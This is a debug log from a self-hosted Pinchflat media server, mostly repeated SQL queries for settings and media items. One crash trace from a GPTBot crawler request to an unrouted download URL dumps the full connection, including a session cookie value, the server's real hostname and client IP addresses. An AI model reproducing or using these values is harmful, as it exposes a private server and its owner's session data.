s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:14.535 [debug] QUERY OK source="settings" db=0.0ms idle=1521.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:14.535 [debug] QUERY OK source="settings" db=0.0ms idle=1521.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:14.536 [info] Sent 200 in 2ms 15:42:15.958 [info] GET /sources/1/media/12826/force_download 15:42:15.959 [debug] QUERY OK source="settings" db=0.1ms idle=180.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:15.959 [debug] QUERY OK source="settings" db=0.0ms idle=19.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:15.959 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:42:15.959 [error] #PID<0.10360.0> running PinchflatWeb.Endpoint (connection #PID<0.10359.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/1/media/12826/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/12826/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10359.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/12826/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 53884}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1/media/12826", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA" }, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10360.0>, params: %{}, path_info: ["sources", "1", "media", "12826", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/1/media/12826"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/1/media/12826/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVEIQaqm8c-Z2gAA61B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10359.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/12826/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 53884}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1/media/12826", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/12826/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10359.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/12826/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 53884}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1/media/12826", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_bod (truncated) 15:42:17.283 [info] GET /sources/1/media/6110/edit 15:42:17.283 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "6110", "source_id" => "1"} Pipelines: [:browser] 15:42:17.283 [debug] QUERY OK source="media_items" db=0.2ms idle=1343.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6110] 15:42:17.284 [debug] QUERY OK source="settings" db=0.0ms idle=1344.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:17.284 [debug] QUERY OK source="settings" db=0.0ms idle=1324.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:17.284 [debug] QUERY OK source="settings" db=0.0ms idle=1325.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:17.284 [info] Sent 200 in 1ms 15:42:21.202 [info] GET /sources/2/media/6121/edit 15:42:21.202 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "6121", "source_id" => "2"} Pipelines: [:browser] 15:42:21.202 [debug] QUERY OK source="media_items" db=0.1ms idle=418.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6121] 15:42:21.202 [debug] QUERY OK source="settings" db=0.0ms idle=263.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:21.203 [debug] QUERY OK source="settings" db=0.0ms idle=263.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:21.203 [debug] QUERY OK source="settings" db=0.0ms idle=263.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:21.203 [info] Sent 200 in 1ms 15:42:24.797 [info] GET /sources/3/media/6489/edit 15:42:24.797 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "6489", "source_id" => "3"} Pipelines: [:browser] 15:42:24.798 [debug] QUERY OK source="media_items" db=0.1ms idle=1858.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6489] 15:42:24.798 [debug] QUERY OK source="settings" db=0.0ms idle=1858.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:24.798 [debug] QUERY OK source="settings" db=0.0ms idle=1858.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:24.799 [debug] QUERY OK source="settings" db=0.1ms idle=1011.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:24.799 [info] Sent 200 in 2ms 15:42:27.065 [info] {"source":"oban","duration":461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:42:28.032 [info] GET /sources/2/media/6119/edit 15:42:28.032 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "6119", "source_id" => "2"} Pipelines: [:browser] 15:42:28.032 [debug] QUERY OK source="media_items" db=0.1ms idle=967.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6119] 15:42:28.033 [debug] QUERY OK source="settings" db=0.0ms idle=241.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:28.033 [debug] QUERY OK source="settings" db=0.0ms idle=93.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:28.033 [debug] QUERY OK source="settings" db=0.0ms idle=93.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:28.033 [info] Sent 200 in 1ms 15:42:30.836 [info] GET /sources/3/media/6487/edit 15:42:30.836 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "6487", "source_id" => "3"} Pipelines: [:browser] 15:42:30.836 [debug] QUERY OK source="media_items" db=0.1ms idle=896.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6487] 15:42:30.836 [debug] QUERY OK source="settings" db=0.0ms idle=896.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:30.836 [debug] QUERY OK source="settings" db=0.0ms idle=896.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:30.836 [debug] QUERY OK source="settings" db=0.0ms idle=897.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:30.837 [info] Sent 200 in 1ms 15:42:33.419 [info] GET /sources/3/media/6485/edit 15:42:33.419 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "6485", "source_id" => "3"} Pipelines: [:browser] 15:42:33.419 [debug] QUERY OK source="media_items" db=0.1ms idle=1479.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6485] 15:42:33.420 [debug] QUERY OK source="settings" db=0.0ms idle=1480.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:33.420 [debug] QUERY OK source="settings" db=0.0ms idle=1480.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:33.420 [debug] QUERY OK source="settings" db=0.0ms idle=1480.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:33.421 [info] Sent 200 in 1ms 15:42:35.681 [info] GET /sources/3/media/6498/edit 15:42:35.682 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "6498", "source_id" => "3"} Pipelines: [:browser] 15:42:35.682 [debug] QUERY OK source="media_items" db=0.1ms idle=883.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6498] 15:42:35.682 [debug] QUERY OK source="settings" db=0.0ms idle=742.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:35.682 [debug] QUERY OK source="settings" db=0.0ms idle=742.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:35.682 [debug] QUERY OK source="settings" db=0.0ms idle=742.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:35.683 [info] Sent 200 in 1ms 15:42:36.720 [info] GET / 15:42:36.720 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 15:42:36.720 [debug] QUERY OK source="settings" db=0.2ms idle=1038.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:36.720 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1038.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 15:42:36.720 [debug] QUERY OK source="sources" db=0.0ms idle=1038.3ms SELECT count(s0."id") FROM "sources" AS s0 [] 15:42:36.721 [debug] QUERY OK source="media_items" db=0.8ms idle=1038.1ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:42:36.722 [debug] QUERY OK source="media_items" db=0.1ms idle=922.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:42:36.722 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:36.722 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:36.722 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:36.723 [debug] QUERY OK source="media_items" db=0.5ms idle=1.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:42:36.724 [debug] QUERY OK source="media_items" db=0.5ms idle=1.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:42:36.725 [debug] QUERY OK source="sources" db=0.0ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?)) [1, 2, 3] 15:42:36.728 [debug] QUERY OK source="media_items" db=2.4ms idle=3.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 